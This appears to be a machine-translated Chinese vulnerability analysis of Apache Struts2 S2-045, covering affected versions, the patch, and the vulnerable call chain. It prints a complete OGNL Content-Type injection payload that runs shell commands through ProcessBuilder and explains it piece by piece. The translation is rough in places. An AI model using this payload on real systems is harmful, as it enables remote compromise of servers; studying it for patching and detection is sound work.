S2-045: Apache Struts2 remote code execution RCE)vulnerability analysis-vulnerability warning-the black bar safety net

ID MYHACK58:62201784270
Type myhack58
Reporter 佚名
Modified 2017-03-13T00:00:00


This article is mainly on the Apache Struts2(S2-045)vulnerability to the principle of analysis. Apache Struts2 using the Jakarta Multipart parser plug-ins the presence of a remote code execution vulnerability. Can be configured through the Content-Type value to trigger the vulnerability, causing remote code execution. Affect the Struts2 version of the Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10 0x01 vulnerability published Is probably GMT 2017 3 August 6, 10 p.m. apache released the S2-045-warning Bulletin Details: https://cwiki.apache.org/confluence/display/WW/S2-045 Then is possible to obtain patch information: https://github.com/apache/struts/commit/6b8272ce47160036ed120a48345d9aa884477228 By the apache vulnerability announcements and patch information, can be obtained: 1. The vulnerability occurs in the Jakarta upload parser 2. The affected struts version is Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10 3. Through the Content-Type this header header, and then execute the command, by Strus2 the error message process back significantly. 0x02 vulnerability analysis Struts2 default handling of the multipart message of the parser is jakarta JakartaMultiPartRequest.java the buildErrorMessage function localizedTextUtil. findText will execute a OGNL expression, resulting in command execution ! Then the total flow is what? First in the execution of the request before to do some preparation work in PrepareOpertions. java,including through wrapRequest package request. ! Then the Content-Type header is determined, when the presence of the"multipart/form-data"when going through the mpr, to each request returns a new instance to ensure thread safety, at the same time handed over to the MultipartRequest class to handle ! By getSaveDir(),to get the Save upload path ! MultiPartRequestWrapper class by obtaining the following parameters, to the collected error information, file information and the default local configuration for the package return. ! The vulnerability occurs in the MultiPartRequestWrapper by calling JakartaMultiPartRequest. java parse to parse the request ! the parse function in turn will call the buildErrotMessage()method ! And buildErrorMessage()method in turn calls LocalizedTextUtil. findText method, resulting in a ONGL execution. ! 0x03 exploit By constructing the content-Type to achieve the use of

Content-Type:"%{(#xxx='multipart/form-data'). (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#_memberAccess? (#_memberAccess=#dm):((#container=#context['com. opensymphony. xwork2. ActionContext. container']). (#ognlUtil=#container. getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil. getExcludedPackageNames(). clear()). (#ognlUtil. getExcludedClasses(). clear()). (#context. setMemberAccess(#dm)))). (#cmd='"pwd"'). (#iswin=(@java.lang.System@getProperty('os. name'). toLowerCase(). contains('win'))). (#cmds=(#iswin? {'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). (#p=new java. lang. ProcessBuilder(#cmds)). (#p. redirectErrorStream(true)). (#process=#p. start()). (#ros=(@org.apache.struts2.ServletActionContext@getResponse(). getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process. getInputStream(),#ros)). (#ros. flush())}" xxx='multipart/form-data'key is to get the struts app content_type. contains(“multipart/form - data”)to determine the true

container=#context['com. opensymphony. xwork2. ActionContext. container']

To get the context of the container

ognlUtil=#container. getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class

By the container to instantiate, the Ognl API universal access, set and get properties.

iswin=(@java.lang.System@getProperty('os. name'). toLowerCase(). contains('win'))). (#cmds=(#iswin? {'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd })

Determine whether the target hostoperating systemtype and execute the command assignment

p=new java. lang. ProcessBuilder(#cmds)). (#p. redirectErrorStream(true)). (#process=#p. start()). (#ros=(@org.apache.struts2.ServletActionContext@getResponse(). getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process. getInputStream(),#ros)). (#ros. flush())

[1] [2] next